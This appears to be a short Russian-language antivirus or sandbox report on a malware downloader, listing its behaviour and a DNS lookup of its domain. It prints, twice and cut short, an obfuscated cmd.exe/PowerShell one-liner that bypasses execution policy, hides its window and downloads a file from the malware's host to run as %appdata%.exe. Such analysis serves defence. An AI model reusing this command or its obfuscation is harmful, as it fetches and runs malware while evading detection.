Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://truthforeyoue.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOWERS^h^e^LL^.^EX^e -^E^X^ecUTiONP^olIc^y^ Byp^AS^S -NoPRo^f^ILe^ ^-WINDo^w^S^tyl^E ^hIDd^En (^N^E^w-ob^Je^c^T s^ystEM.N^e^t.W^E^bCLIe^nt^).^d^own^loadf^IlE(^'http://truthforeyou...
Сетевая активность
UDP
- DNS ASK tr####oreyoue.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOWERS^h^e^LL^.^EX^e -^E^X^ecUTiONP^olIc^y^ Byp^AS^S -NoPRo^f^ILe^ ^-WINDo^w^S^tyl^E ^hIDd^En (^N^E^w-ob^Je^c^T s^ystEM.N^e^t.W^E^bCLIe^nt^).^d^own^loadf^IlE(^'http://truthforeyou...' (со скрытым окном)
